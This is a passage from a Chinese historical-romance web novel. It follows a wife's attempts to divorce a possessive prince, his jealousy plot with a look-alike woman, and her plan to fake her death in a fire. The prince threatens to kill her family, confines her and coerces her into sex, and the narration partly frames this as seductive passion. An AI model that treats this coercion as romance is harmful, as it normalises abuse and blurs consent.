姜芙:“请王爷写下和离书放我离去。”
她甚至不愿自称妾身,一个“我”代表着她离去的决心。
“本王若是不允呢?”薛慎愠怒道。
“那我只能去求老夫人,”姜芙知晓宋氏一直不喜她,若是她主动提出离开,她必会应允。
言罢,薛慎大手一挥,桌子上的碗盏悉数掉到了地上,应声碎开。
热汤溅了姜芙一身,灼痛感瞬间袭来,但她没动,甚至眉梢都没皱下,她把薛慎的恼羞成怒当成无理取闹。
他在她面前一向如此,从未顾及过她的感受。
思绪辗转间她忍不住想,不知在画中女子面前,他又是何种样子?
大概是温润如玉,体贴入微的吧,毕竟他爱慕她。
“姜芙你怎么敢。”薛慎一把扣住姜芙的手腕,生生把她扯过来,“你连姜家众人的安危都不顾了?”
每每提及分开,他便用姜家人的性命威胁,殊不知,那个家里,除了娘亲外她已无在意之人。
说她狠心也罢,说她无情也罢,他们既不在乎她的生死,她又何必在意。
更何况,薛慎乃一朝王爷,不可能滥杀无辜。
“是,不在意了。”姜芙道,“随你的便。”
显然姜芙的回答在薛慎意料之外,他微怔,“你说什么?”
“我说随你的便,我不在意。”
“你不在意江北的姜家,难道你也不在意离城的江家了吗?”薛慎指尖陷进她的肌肤里,“你若是敢走,包括江宸在内,我会全部杀掉。”
“你除了威胁我,你还会做什么?”姜芙猩红着眸子道,“欺负一个弱女子很好玩是不是?”
“是。”薛慎把她扯到眼前,“很好玩。”
“你想玩,但我不想。”姜芙逼退眼底的泪,扯了扯唇角,“我就要和离。”
“做梦。”薛慎强行拉起她,随后把她扔到了靠窗的软榻上。
啃噬她,撕咬她,磨砺她,起初他闹得很凶,又吮又咬,感觉到她的战栗后,他才慢慢放轻了力道。
欲望这条无边的海,没道理他一个人沉沦。
她不是想逃吗,那他偏要拉着她一起坠海。
他完全不似之前那般凶狠,亲吻的力道也变的轻柔了,吮着她咬时低声轻唤她的名字。
触到她的眼泪后,他虔诚吻去。
就像他刚刚想的那般,强的不行,他便来软的,总能把人融化。
姜芙不想自己陷进去,挣扎,推拒,抗争,可还是耐不住他的刻意引诱,最后还是陷了进去,任他欲予欲求。
头顶传来喘息声,还有男人暗哑的声音:“芙儿,我不会放你走的,绝不。”
她欲睁眼告诉他,她一定会走,可是太过疲倦,根本睁不开,黑暗袭来时她睡了个过去。
梦里,薛慎做了更过分的事。
他把她囚禁起来,不许她出房间半步,哪怕是梳洗这般小的事也是他代劳。
每日画眉也是他。
她哭着求他放她走。
他嘴角含着笑,把她带去了地牢里,那里关押着她的亲人。
爹爹,兄长,还有小侄子……
他们齐齐被捆着,动弹不得。
见她来,齐齐出声:“阿芙救我们,救我们。”
她侧眸去看身侧男人的脸,早已不是那副温润的容颜,他比恶鬼还可怕,桎梏着她腰肢说:“你乖乖的,他们才会安好。”
他好冷,吐出的气息要是冷的。
姜芙被冻醒,睁眼的瞬间发现自己在水池中,水已经没过了她的身体,到了下颌处。
她就要死了。
“救我…救我…”她胡乱拉扯,似乎触到了什么,下一瞬,被人抱入了怀中,“乖,我在。”
是薛慎。
姜芙战栗不已。
这是那日最后一次见面,两日后姜芙才知晓,薛慎再次离开了堰都城,似乎是查什么陈年旧案。
她还听到一些其他消息。
说是灭门案。
姜芙还想探知一二,奈何下人闭口不谈,她也无从问起。
薛慎走后,留下小九守门,姜芙用绝食为要挟,迫使小九把婉儿送了过来。
有了婉儿在旁,姜芙的心才安了些。
小九看着抱在一起痛哭流涕的两人,数次想开口告知,其实王妃不用绝食婉儿也能来,原本王爷便是如此安排的。
不过她们哭的起劲,他便没打扰,等她们哭完,他便把这事给忘了。
算了,讲不讲结果一样就行了。
婉儿哽噎说:“王妃又清瘦了。”
“无妨。”姜芙悄声问,“让你准备的东西准备好了吗?”
“嗯。”婉儿朝紧闭的房门看了眼,“王妃当真要逃吗?”
姜芙:“是。”
“那和离书呢?”
“他不会给。”既然如此,她只能另想办法了。
“天大地大,咱们要躲去哪里?”
“先离开堰都在说。”
“怎么离开?”婉儿看了眼虚晃的身影,“小九武艺高超,咱们根本没办法走。”
这个姜芙已经想好了,“死。”
她这段日子一直在想这件事,若是不能明着离开那便死遁,一死百了,便能彻底断了薛慎的念想。
“死?”婉儿捂住嘴,“王妃您不要乱来。”
有小九在一时半会儿也说不清楚,姜芙低声道:“你按照我的吩咐去做便可。”
婉儿虽有疑虑但是应下,“是。”
“你想办法去见阿臻,从他那里找来炭火……”姜芙附耳道。
婉儿一一记下-
薛蕊数次登门被拒,一气之下打了小九,“你允是不允?”
到底是府中的四小姐,小九饶是在鲁莽,也不敢真怎么样,“王爷有令,任何人不得出入。”
“我是任何人吗?我是王爷的亲妹妹,让开!”
“不让。”
“你让不让?你不让我便从这里跳下去?”薛蕊眼神决绝,看那样子,真有跳下去的意思。
“请四小姐不要让属下为难。”
“我今日偏偏就要为难你了。”薛蕊道,“让不让?不让我真跳了。”
小九:“……”
不得已,小九侧身让开。
薛蕊越过他,推开门,“嫂嫂。”
姜芙见她来,起身迎上,“四妹。”
薛蕊骂了声狗奴才,随后道:“嫂嫂怎地这般清瘦了?”
姜芙:“近日胃口不大好。”
“是不是闷的?”薛蕊道,“嫂嫂莫急,我带你出去。”
为了能出去,薛蕊费了好一番功夫,好在结果是好的,还真把姜芙带出了府。
街道上很热闹,但这种热闹似乎同姜芙无关,她眸中连一丝光亮也没有。
薛蕊指着外面的摊贩,问道:“嫂嫂要不要吃?”
姜芙摇头,“不了。”
“那个呢?”
“也不想。”
“那呢?”
“不想。”
一连问了几次都不想,薛蕊噘嘴,“嫂嫂这般是在怪阿蕊吗?”
“嗯?”姜芙不知她为何如此讲。
“怪阿蕊许久未曾探望你?”
“没有。”姜芙莞尔笑笑,“不如去吃茶?”
薛蕊点头,“好呀,去吃茶。”
堰都新开了茶楼,装潢的甚是奢华,姜芙踩在楼梯上,眼前不禁一亮,薛蕊道:“我来过两次,属实不错,嫂嫂要好好品茗一下。”
姜芙:“好。”
姜芙茶艺不错,是少时同表姐学的,确切说,是同江宸学的,她住在江府的那两个月,日日都会煮茶。
一来二往便都会了。
想起江宸,不知他现下如何了?
可千万不要再被薛慎抓到才好。
薛蕊见她心不在焉,也没闹着同她说话,饮完一盏茶后,起身离开。
须臾,再次有人进来。
来人着一粉色罗裙,头戴朱钗,五官美艳。
是个娇俏的娘子。
然,姜芙一眼看穿,顿住,“表姐,你怎会在此?”
不对,是表哥。
“你不知这里多危险吗?为何要来?”她问道。
江宸站在她面前,着女装的他一点都不失女子的娇态,只是声音听着低沉些。
“把阿芙一个人留这,我如何能安心?”
“那你也不应该来此。”姜芙道,“你快走。”
江宸:“阿芙同我一起走。”
她是要走,但不是同江宸一起。
“我同薛慎之间还有事情尚未讲清,暂时还不能走,表哥你先走。”
“阿芙不走,我也不走。”-
离城。
小八低语:“属下夜探了江家,没见到江宸。”
“都仔细找过了?”薛慎问道。
“是。”小八道,“确实没有。”
“那他能去哪里?”薛慎低语,随即想起什么,“回堰都。”
“那妙儿姑娘呢?”
“带上。”
“军饷?”
“送去府衙,告诉府尹,若有差池唯他是问。”-
姜芙不想累及江宸,见说不动他,便更改了计划,既然早晚都要离去,那便现在离去好了。
只是她慢了一些,还未来得及做什么,便听闻薛慎回来了。
且,他还带回一女子。
第三十章 示威文案梗
薛慎带人回府的消息很快传到了姜芙耳中,彼时姜芙还住在绿竹园,小九亲自守门。
周氏刘氏过来寻她,言谈间皆是挑拨。
“三弟如此这般,是我们从未想过的,弟妹可千万不要动怒。”周氏道。
“男人么,哪个不是朝秦暮楚。”刘氏道,“三弟如此,也不足为奇,只是委屈了弟妹。”
“大嫂说的极是。”周氏讪讪道,“那女子还不及三弟妹十分之一呢。”
“定是个狐媚子。”刘氏道,“弟妹若是不快,也别忍着,我同你二嫂定会站在你这边,看你是要找母亲评理还是什么,我们都依你。”
姜芙听她们讲完,淡声道:“不知两位嫂嫂除了这些可还有旁的事?”
姜芙的回答显然没在她们意料中,周氏道:“弟妹不气吗?”
“不气。”姜芙道,“王爷若是想纳侧妃,我定当为他办好此事。”
“虽你只是商贾之女,可也不应如此,你夫君都要纳侧妃了,你为何还能如此不在意。”刘氏拱火,“真是给女子丢脸。”
“大嫂认为我拦得住?”姜芙莞尔一笑,“若真拦得住,大嫂为何不拦?”
刘氏:“……”
“大嫂做不到的事,又为何觉得我能做到?”姜芙不想听她们多说一句,“我乏了,若是无事,姜芙便不留两位嫂嫂了。”
“哼,你当我们愿意来这里么。”周氏道,“还不是念着妯娌情谊,想帮帮你。”
“是帮我还是看戏,两位嫂嫂心知肚明。”姜芙道,“婉儿,送客。”
刘氏周氏没拱成火,气呼呼离开。
婉儿道:“王妃接下来咱们要如何?”
起初姜芙是打算直接走的,隐姓埋名过完后半生,可她现下改变主意了,既然薛慎把人带回来,想必很钟意对方。
他有了钟意的人,应该会放自己离去吧。
“把银钱藏好。”姜芙道,“另外告知表哥,我暂时还不能离去,他若有事要忙,可先去,等我处理好这边的事自会离去。”
婉儿:“奴婢这就去办。”
婉儿也诧异,“王妃为何突然不走了?”
姜芙:“要来和离书我便走。”
“王爷会给吗?”
“之前或许不会,但有了那个女子,她应该会。”
“王妃要去见王爷吗?”
“不了。”姜芙道,“他想见我自然会来。”
婉儿看姜芙脸色不太好,蹙眉道:“王妃是不是很难过?”
姜芙睨着窗外发呆,爱慕了多年,说不难过是假的,心一抽一抽的痛,有数道声音在脑中呐喊。
“忘了吧,忘了吧,他不值得……”
是呀,他不值得。
姜芙逼退眼底的泪,勾了勾唇角,“今日午膳我想吃阳春面,婉儿你做给我吃好不好?”
婉儿屈膝作揖,“好,奴婢现在就去做。”
小时候每次不开心,娘亲便会给她做阳春面吃,吃完心情都会变好。
她期翼着这次吃到,心情还会变好。
然而,并没有。
明明还是记忆中的味道,可入口后,心情非但没好反而变的更坏了。
随即劝慰自己,当这几年光阴喂了狗,不就是不爱么,无妨,她不在乎。
一碗阳春面下肚,阴霾全无。
整个下午,姜芙都在作画,一直到晚膳才停下。
婉儿担心她,特命厨房做了她爱吃的叫花鸡,“王妃多吃些。”
姜芙:“你也一起吃。”
婉儿躬身道:“奴婢不敢。”
“有无旁人,过来,陪我一起吃。”姜芙道。
婉儿只能从命,坐下了陪姜芙一起用膳。
一顿饭吃的其乐融融。
晚膳后,姜芙倚窗看书,还未看多久,门推开,薛慎走了进来。
婉儿见是他,屈膝作揖,“王爷。”
薛慎挥挥手,婉儿看了姜芙一眼,抬脚步出。
姜芙放下书,站起什么,作揖,“王爷。”
薛慎走近,垂眸打量,见她起色非常好,眉宇间笼上寒霜,“王妃如此悠闲,看来在这里过得不错 。”
“王爷的住处哪里会不好。”姜芙道,“妾身还未谢过王爷让妾身住在这里。”
薛慎已经听说了白日里周氏刘氏过来找茬的事,也听说了这段时日姜芙的种种。
他以为再见,她会有所不同,或闹或哭或折腾,但无论是何种,绝不会是眼前这般云淡风轻。
就好像全完不把他放在眼里。
他不允许她如此。
天堂也罢,地狱也罢,他去,她也要去。
见她如从淡定从容,薛慎怒意翻涌,只想着撕掉,哪怕两败俱伤。
他攫住她的手腕,把她压在软榻上,问道:“这几日你可见过江宸?”
“妾身未曾见过。”姜芙后背不知硌着什么,很疼,但她顾不到。
“真没见过?”
“妾身被关在这里,外面有小九等守着,妾身见没见,王爷不知么。”
“有的人是关不住的。”薛慎磨砺她唇瓣,“那你说,阿蕊带你外出那日,你都做了什么?”
“逛街,品茶,看戏。”姜芙道,“王爷若是不信,可以去问四妹。”
“阿蕊那里我自会问。”薛慎去扒她衣裙,“本王给你最后一次机会,你同江宸到底有没有见过?”
“表哥人在离城,妾身…妾身哪里会见到。”言罢,姜芙的唇瓣被他含住,碾压。
她挣脱不开,只能承受。
须臾,他缓缓退开,直勾勾睨着她,“你若是没见过,这是什么?”
薛慎扳过姜芙的脸,迫使她转过头,有一物呈现在眼前,是把折扇。
“这只是…把扇子…。”姜芙辩解。
“可这不是把普通的折扇。”薛慎道,“这是江家的,上面还有印记。”
他加重了力道,“你还敢说没见过,嗯?”
若是力道再重一分,姜芙只能死,她闭上眼,“欲加之罪何患无辞,王爷想杀妾身,不必找那么多借口,直接杀了便是。”
“次次求死,姜芙,你说,你到底为了谁?”薛慎松开手。
姜芙谁都不为,她只是太过寒心。
“王爷说我为谁便为谁吧,妾身没什么好争辩的。”姜芙闭上了眼。
薛慎惩治人的方法很多,勾唇笑笑,“妙儿那里缺人服侍,本王看婉儿就挺好……”
“不可。”姜芙道,“婉儿是我的人。”
“你都是本王的了,更何况是婉儿,”薛慎道,“本王要她去哪,她便要去哪。”
姜芙自己死不死无所谓的,但婉儿不行。
她示弱,“王爷,都是芙儿的错,芙儿求你。”
“你便是这般求人的?”他道,“本王乏了,伺候本王就寝。”
姜芙伸出手,抖着手指为他宽衣解带。
薛慎揽上她腰肢,“叫夫君。”
姜芙:“夫君。”
“亲我。”他道。
姜芙弓着身子迎上去。
不知是薛慎突然良心发现还是什么,这夜他并未太过,一切都以姜芙为主。
便是抵着她纠缠也很轻柔,哄着她,叫他夫君,薛郎。
把她情不自禁溢出的声音都吞入了口中。
更是把她所有的挣扎都看在眼睛里,没有蛮横的掠夺,有的是循序善诱的进攻。
一点一点,攻城略地。
他问她,喜欢吗?
她战栗着不知该如何回。
他似乎也不用非要知道答案,亲亲她唇瓣,“你不说话我就当你喜欢了。”
这种前一瞬暴戾,后一瞬温柔的样子,实在让人无法招架。
姜芙忍着心悸,问他:“你到底要如何?”
“不如何。”薛慎道,“我只想好好疼爱你。”
让她离不开他,足矣。
疼她?
怕是要她沉沦才是真。
好在姜芙意志坚定,饶是他再如何折腾,也守住了本心。
……
次日,姜芙睡到晌午后才转醒,婉儿见她醒来,低语:“王妃,妙儿姑娘来了。”
昨夜折腾的太过,姜芙头都是晕的,一时没听清楚,“谁?”
婉儿:“妙儿姑娘,王爷带回的那名女子。”
姜芙抬眸,“她来作何?”
婉儿摇头,“奴婢不知,已经在厅中等了一个时辰了,王妃要见吗?”
“见。”姜芙道,“伺候我梳妆。”
“奴婢还有一事要讲。”
“你说。”
“那个妙儿姑娘……”
“她如何?”
婉儿:“她同王妃长得极像。”
姜芙:“……”
姜芙从不认为会有人长得如此相像,可看到端坐在厅中的紫衣女子后,不得不承认,她们长得确实非常像。
仿若一个人。
“妙儿给王妃请安。”苏妙儿道。
姜芙道:“平身。”
近距离看才发现,苏妙儿的长相同画中女子更像。
看来,她同苏妙儿都是那人的替身。
姜芙淡声道:“姑娘来此王爷知晓吗?”
“便是王爷要民女来的。”苏妙儿道,“王爷要民女多同王妃走动。”
姜芙诧异道:“王爷要你来的?”
“是。”苏妙儿含笑道,“王爷还说,要妙儿日后同王妃姐妹相称。”
姐妹相称?
姜芙顿时明了苏妙儿来此的用意,名为请安,实则宣示主权,她在告知她,在薛慎眼里,她们是一样的。
“妙儿姑娘蕙质兰心,想必很得王爷欢喜。”
“让姐姐见笑了。”苏妙儿道,“王爷确实喜欢同妙儿在一起。”
“王爷还说。”苏妙儿轻笑道,“妙儿想住哪里便住哪里。”
“姐姐,你说妙儿住哪里好呢?”
30-40
第三十一章 决裂我要和离(文案梗)……
姜芙睨着她,淡淡道:“妙儿姑娘想住哪里呢?”
苏妙儿轻笑,“既然姐姐问了,那我便直言,姐姐原来的住处西厢院就不错,不知姐姐肯不肯割爱,让妹妹住那里。”
开口便要姜芙住了三年的院子,司马昭之心路人皆知,她要的何止是她的院子,分明是薛慎这个人。
婉儿听罢,怒斥道:“放肆,竟然敢如此同王妃讲话,还不跪下!”
苏妙儿半分畏惧都没有,勾唇笑笑,“怎么?姐姐不想给吗?”
她睨着姜芙,“不过姐姐便是不想给也不行了,王爷说了,只要我愿意,整个王府任我挑选。”
“姐姐,王爷爱我的很。”
如此出言不逊换任何人都会生气,姜芙站起身,缓缓走到苏妙儿面前,“你再说一次。”
“说百次千次都是这样,王爷说了,我想住哪里便住哪里,谁都拦不得。”她道,“姐姐更拦不得。”
“我若是不愿呢?”
“那只能让王爷来评评理了。”苏妙儿嘲讽道,“不过我看姐姐这副样子,怕是王爷早就厌恶了,姐姐还是不要自讨没趣的好。”
姜芙想起了娘亲在世时被柳姨娘欺负的场景,与眼前这么简直一模一样,似乎,她还听到了娘亲的哭泣声。
“是吗?”姜芙眼角余光似乎瞥到了什么,她唇角一勾,抬手便给了苏妙儿一巴掌,“哪里来的野女人同我叫嚣,不想活了吗?”
苏妙儿没料到姜芙会动手,怔愣看着,哭都忘了。
忽的,她听到了脚步声,嚣张的气焰顿时荡然无存,执帕掩面低泣,“王妃,都是妙儿的错,妙儿不应该同王爷回来,更不应该踏足绿竹园惹王妃烦心。”
“奴婢只是想谢过王妃,没想抢王妃什么。”
“王妃为何如此?”
她哭的梨花带雨,消瘦的肩膀止不住颤动,见薛慎进来,泪眼婆娑道:“王爷。”
薛慎看都没看姜芙,弯腰扶起苏妙儿,问道:“伤到哪里了?”
“脚。”她身子一软倒在了薛慎怀里,低泣,“扭到了,好疼。”
薛慎扶着她坐下,随后唤了声:“小九。”
小九现身,“主子。”
薛慎:“去请大夫。”
“是。”小九离去。
苏妙儿还在哭泣,薛慎眉梢皱着看向姜芙,眼神森冷骇人。
也对,动了他的心肝,是该生气。
姜芙半分畏惧都没有,不卑不亢道:“王爷。”
“你打的?”
“是。”
“为何?”
“她出言不逊。”
“王爷,奴婢没有。”苏妙儿再度哭起来,“奴婢亲手做了桂花糕拿来给王妃吃,也不知哪里惹怒了王妃……都是奴婢不对,奴婢就不应该跟随王爷回来。”
“王爷还是送奴婢走吧。”
“莫坏了王爷同王妃的情谊,日后也不要再管奴婢死活,让奴婢自生自灭吧。”
“你哪里也不许去,就住在王府。”薛慎冷声道,“旁的院子都有人,就住西厢院吧。”
姜芙眼睛大睁,“王爷。”
薛慎:“怎么?王妃不愿?”
姜芙心一抽一抽的疼,“妾身不敢。”
“今日便把院子腾出来,王妃能做到吧?”
“是。”
薛慎上前,“王妃不必表现的如此难过,你不是一直想离开吗?这下正合你意。”
他道:“小八,带人去把王妃的东西都搬来绿竹园,除了婉儿外,其他下人都留下伺候苏姑娘。”
“看还缺什么,都补办齐全。”
小八:“是。”
……
姜芙想过自己离开西厢院,但没想过是这般离开。一时间,府内众说纷纭,嘲笑声讥讽声随处可见。
刘氏周氏见不得她半分好,隔三岔五便会过来奚落她一番。
“弟妹,你就这么忍了?”刘氏道,“真是没出息。”
“不忍又如何?”周氏轻叹,“男人嘛,爱你时你侬我侬,不爱你时,你便是破鞋,眼下老三心里只有苏妙儿,其他人是死是活才不管。”
“大嫂说的对,薛家的男人就没一个专情的,罢了罢了,左右不过同我们一样,也挺好。”周氏啧啧道,“其实也不太一样,至少我们还住主院,不像弟妹,都被赶出来了。”
“真让人心疼。”
刘氏周氏奚落完,宋氏也派人过来,刘妈开口第一句:“王妃也别动怒,府里进了新人是好事,毕竟王妃三年无所出,无后为大,妙儿姑娘入府,子嗣的事便交给她就好,等诞下孩子再交由王妃抚养,一举两得。”
“王妃觉得如何?”
姜芙淡声道:“这是母亲的意思?”
“是。”刘妈道,“是老夫人的意思。”
姜芙:“王爷呢?也是这个意思?”
“王爷向来谦孝,老夫人说什么便是什么。”刘妈道,“老奴过来是传话的,老夫人希望王妃同妙儿姑娘能好好相处,一起伺候王爷。”
刘妈说完,起身离开。
有了宋氏撑腰,苏妙儿在府中越发横行,几次命人来绿竹园索要东西。
那日姜芙突然风寒,倚在榻上歇息,苏妙儿带着几个丫鬟走了进来,进门后冷嘲热讽,“这便是姐姐的待客之道么,连坐都不许坐?”
“知道的是姐姐恼我,不知情的还以为姐姐要忤逆王爷呢。”
“姐姐如此这般,真不怕王爷动怒吗?”
姜芙发热,头晕眼花,无力同她说什么,“妹妹若是没事姐姐便不留了。”
苏妙儿:“姐姐以为我愿意来吗,还不是老夫人说要妙儿同姐姐亲近亲近,姐姐若是不快,大可去同老夫人讲。”
苏妙儿初入王府时还会隐忍,随着薛慎的宠爱,这会儿什么都不怕了,做事肆意妄为。
昨日刚责罚了两名丫鬟,还把人赶了出去。
眼下看样子,又想同姜芙吵闹,“姐姐,若是如此怠慢,回头妙儿会如实禀明王爷,继时发生什么可就怪不得妙儿了。”
婉儿早就看不惯苏妙儿的趾高气昂,怒斥道:“这里是绿竹园,不是你的西厢院,想耍威风去你的西厢院去,这里不欢迎你。”
“啪”苏妙儿二话没说,抬手给了婉儿一巴掌。
“姐姐若是不会教下人,就让妹妹代劳吧。”苏妙儿还想打第二次,被姜芙拦住。
她把婉儿护在身上,冷声道:“出去。”
“姜芙。”苏妙儿直呼姜芙的名讳。
姜芙抬手给了她一巴掌,“没大没小,你才该打。”
打完,胸口一阵疼,她忍不住咳起来,咳着咳着吐出一口血。
下一瞬,倒了下去。
婉儿抱住她,急呼,“来人,快来人,王妃昏倒了,快去找大夫。”
……
薛慎是在一刻钟后回来的,身上穿着大红袍服,一看便知是从宫中赶回来的。
苏妙儿上前,“王爷,王妃——”
他一把挥开她,大步进了里间,大夫正在诊脉,他问道:“王妃如何?”
大夫:“气血攻心,郁结难舒,积郁太久,不太妙。”
薛慎闻言,沉声道:“如何医治?”
“王妃这是心病,心病还得心药医。”大夫道,“王爷请进一步说话。”
两人起身去了外间,“王妃近日可有什么不舒心的事?”
薛慎:“此话何意?”
“刚刚喂王妃服药,她一直不愿,”大夫道,“想来是有心结,此病可大可小还需谨慎。”
“要如何?”
“祛除心结。”
大夫又说了什么,薛慎没听清,只记得那句“祛除心结”。
她要祛除的不是心结,是他。
但薛慎不会放手,自初见时起,那一眼便落在了他心尖,想他放手,不可能。
屋里没了外人,他拿过帕子轻轻为她擦拭,“芙儿,你可还记得你说过什么?”
“你说一辈子不离不弃,会永远我爱。”
“怎么?你要反悔了?”
“不,我不会允许的,便是死你也只能死在我身边。”
薛慎曾经做过一个奇怪的梦,梦里,姜芙一直想逃,最后失足掉进了水里,所有人都说她死了,但他不信。
就那样守着她的尸身七天七夜。
他不眠不休一直在同她讲话,从他们初识讲起,到她失踪的那几个月,还有后面她同别人定亲,他是如何用计让那个人死的。
后面他又是如何让姜父同意这门亲事的。
事无巨细他都讲了一遍。
讲到动情处他会笑,也会哭。
他抱着她亲吻,问她为何不睁眼看看?
有人来抢她,薛慎同那人厮杀起来,起初是一个,后面是两个三个……
他把府中的人都杀了。
最后是他自己。
他抱着她冲进了火海中,同她永远安眠在一处,就像他说的,没人能把他们分开。
梦中不行,此时更不行。
芙儿是他的,这辈子都是。
……
宋氏见他衣不解带照顾姜芙,怒气冲冲赶了过来,质问他为何如此?
薛慎未曾搭话。
宋氏又问:“既然你如此在意她,为何把妙儿带来,又让她住进西厢院?”
薛慎道:“母亲觉得是为何?”
“我哪知,”宋氏道,“总不会为了让姜芙生气吧?”
言罢,她看向薛慎,“你当真只是为了让姜芙生气才把妙儿带回府的?”
事情肯定不会如此简单,但他确实有此意。
利用妙儿让姜芙嫉妒,这样她就不会一直想着离开他了。
“荒唐,真是太荒唐了。”宋氏呆了半盏茶的功夫,起身离开,走前道,“我不管,妙儿既已经进了门,那就是咱薛家的人,你利用也罢不是也罢,总之不能亏待了她。”
“娘做主了,寻个合适的日子,你们把婚事办一办。”
姜芙睁眼瞬间,听到的就是宋氏说的这句“把婚事办一办”。
看来,他们真是迫不及待了。
她双手撑着吃力坐起,当着宋氏和薛慎的面,沉声说道:
“我要和离。”
第三十二章 离开走水了
宋氏还以为自己听错了,迟疑道:“你说什么?”
“我要和离。”姜芙虽一脸病容,可语气却不容置喙,“母亲不是也想迎苏姑娘进门吗,她来,我走,正好。”
好什么好。
宋氏是不喜姜芙,但他们这桩婚事
是陛下许的,岂敢随意说和离。
“姜芙你疯了。”宋氏呵斥道,“你知不知道你刚说的什么。”
“儿媳知晓。”姜芙道,“这不是母亲期盼的么。”
“我——”宋氏语塞,轻咳一声后道,“放肆,我何事期盼了,整日胡言乱语,病糊涂了吧。”
“儿媳清醒的很,这是我的真心话。”
“姜芙!”薛慎突然怒吼,“休要乱言。”
“我没乱言。”姜芙睨着他们,眼底没有一丝惧意,早晚都要走这一遭,如今撕破脸也未尝不可,“还忘母亲应允。”
“我若是不允呢?”宋氏问道。
“那儿媳便去面见陛下,求陛下准许和离。”姜芙不卑不亢道。
“你、你真是疯了,疯了。”宋氏头一阵疼,“阿慎,这便是你说的,她事事都好?”
“小八,把老夫人送回去。”
“话还未讲完,我不走。”
“送老夫人回去!”薛慎再次道。
小八上前,强行搀扶着宋氏离去。
两人前脚刚步出房门,后脚里面传来噼里啪啦的声音,似乎是杯盏落地发出的。
宋氏要折返,被小八拦住,“老夫人还是听王爷的吧。”
宋氏思付片刻,步下楼梯。
房间里,杯盏落了一地,薛慎抬脚踩上,眨眼间成了碎末,他两三步走到榻前,攫住姜芙的手腕,把她拉近,“你把方才的话再说一次。”
姜芙抬头仰视他,一字一顿道:“我要和离。”
“你再说一次。”
“薛慎,和离吧。”
姜芙道:“你既有了新人,也没必要把我再留在府中,好聚好散,和离吧。”
“我说过的,想走?除非是死。”他道,“不对,死也不行。”
他眼神里再无一丝暖意,恨不得把姜芙生生撕扯开,他真的很想看看,她到底是何等的黑心,竟然说出如此绝情的话。
“我告诉过你了,我同苏妙儿无关,你为何不信?”
“无关?她都住进西厢院了,怎么可能无关,”姜芙嗤笑,“你信么?”
“怎么你才信?”薛慎问,“把她赶走?”
“不重要了。”姜芙已对薛慎死了心,是留是赶,她都不在意,反正她是要离开的,“她是你的人,你爱怎么样变怎么样。”
薛慎闻言,几乎要拧断她的手腕,“她不是我的人,你才是。”
“我也马上就不是了。”姜芙重复,“同我和离,自此以后,你我婚嫁各不相干,不管你娶谁,都随你的意。”
“薛慎,放过我不行吗?”
她语带乞求道:“看在我们相识近十年的份上,放过我,不行吗?”
忽的,外面刮起大风,门窗砸的砰砰响,薛慎阴戾的声音伴着风散开。
他极慢极慢的吐出两个字:“不能。”
……
这日后,薛慎有十日未曾出现,倒是苏妙儿来了几次。
起初趾高气昂,某日后红着眼睛来的,跪在姜芙面前求饶,求她别赶她走。
姜芙不明所以,“你这是做什么?”
“都是妙儿的错,妙儿以后再也不敢了,王妃求您,求您别赶妙儿走。”苏妙儿屈膝跪到地上。
姜芙几次让她离开她就是不走。
“随你吧。”姜芙离开。
回来后,苏妙儿还在那跪着,婉儿道:“已经跪一个时辰了。”
姜芙蹙眉:“去请王爷来。”
这还是她第一次主动请他来,薛慎面色如常,但心情却是极好的,步履都轻快了不少。
只是当看到苏妙儿后,好心情顿时消失殆尽。
屋都没进,转身离去。
夜里,他带着满身酒气闯入了绿竹园,婉儿拦都拦不住。
姜芙看他如此,连连后退,“王爷你这是作何?”
“你是我的妻子,我要作何,你不知。”
“我们要和离了。”姜芙道,“请王爷出去。”
“谁要跟你和离。”薛慎桎梏上她的腰肢,“除非我死,不然我不会让你离开。”
说着,他箍紧她的腰肢。
多日未曾亲近,再次纠缠,姜芙依然被他折腾的喘息连连,他抵着她耳畔道:“你看,你还是想要我的。”
姜芙摇头,“妾身没有。”
话未讲完,薛慎把她翻转过来,唇舌在她后颈游走。
似乎觉得还不够,加重了手指的力道。
须臾,姜芙软了下来,手朝后伸,去推他,被他握住。
“痛。”她低语道,“薛慎,你发什么疯。”
这大概是她骂人骂的最凶的时候了。
薛慎吻着她耳垂道:“还有更痛的,你要不要试试。”
她才不要,姜芙扭动挣扎,反而让他更来劲了,他低笑,“好,继续闹,看最后谁哭。”
他一贯知晓她好哭,痛了哭,舒服了哭。
姜芙泪眼婆娑问:“你为何就是不肯放过我?”
“放过你?”他轻笑,“你是我死都不会放手的人。”
他一直不断重复着这句,好似姜芙多重要似的,可姜芙知晓,她不是。
婚后三年,他也只有那两个月对她好,之后便是冷眼相对,她被周氏刘氏欺辱时,他也未曾出言训斥半句。
这样的人,心里怎么可能有她。
“薛慎,做戏太久,是不是连自己都忘了本心,你何时在意过我?”姜芙质问。
“真是坏啊。”薛慎用力掐上她细腰,“我命都能给你,又怎么不对你好。”
他手指滚烫,触碰上的瞬间,姜芙一阵痉挛,好似要被他烫化。
“什么命?我几时要你的命了?”她无措道。
“自己想。”薛慎吻上她侧颈,“本王要你自己想起来。”
……
姜芙从未见过如此坏的人,把人几乎好折腾死,好在那日之后他连着几日未曾出现。
她身子才得以缓解。
看来带着和离书离开这事不可能了,退而求其次,她选择了另一条路,假死逃脱。
她被关在绿竹园有些东西不太好买,幸亏有江宸暗中帮助,很快东西一一准备好,只待寻个合适的日子离开。
婉儿有些不放心,“王妃,咱们真可以离开吗?会不会出差错?走水会不会伤到?”
“表哥不是说了吗,一切有他,我们只要按照原计划离开便可。”姜芙道,“我信他。”
婉儿想了想也对,“可若是王爷知晓了,他会不会……”
姜芙淡声道:“起初他应该不能接受,过些时日会好,等苏姑娘生下子嗣,他便会彻底把我忘记。”
“王爷能忘记王妃,那王妃呢?真能忘记王爷么?”
“能。”姜芙既然选择了这条路,便不允许自己回头,不能也得能。
婉儿轻叹,“为何王妃同王爷会这样呢?”
当年她们也是带着无限期许来到王府的,盼的也是琴瑟和鸣,才三年,便已物是人非,真真叫人心寒。
“这是江公子给小姐的信。”婉儿把信笺递上。
姜芙接过,就着烛灯细细看完,随即烧掉,“咱们的马车藏在哪?”
“东侧门。”婉儿问道,“小姐当真不坐公子的马车离开吗?”
“不。”姜芙睨着烛灯,淡淡道,“表哥帮助我们太多了,日后的路我想自己走。”
“可若公子接不到王妃怕是会难过。”
“等安顿好后,我会给表哥写信告知详情。”
“那咱们几时走?”
“就定在后日吧。”姜芙抬眸看了眼夜空,“后日有风,正是离开的好时机。”-
后日转眼便到。
姜芙先去了宋氏住处,听她训诫了半个时辰,又去了祠堂,出来时遇到了薛蕊,去她的住处小坐了片刻。
薛蕊见她气色好了不少,淡笑道:“嫂嫂终于好了,若再病下去,哥哥都要疯了。”
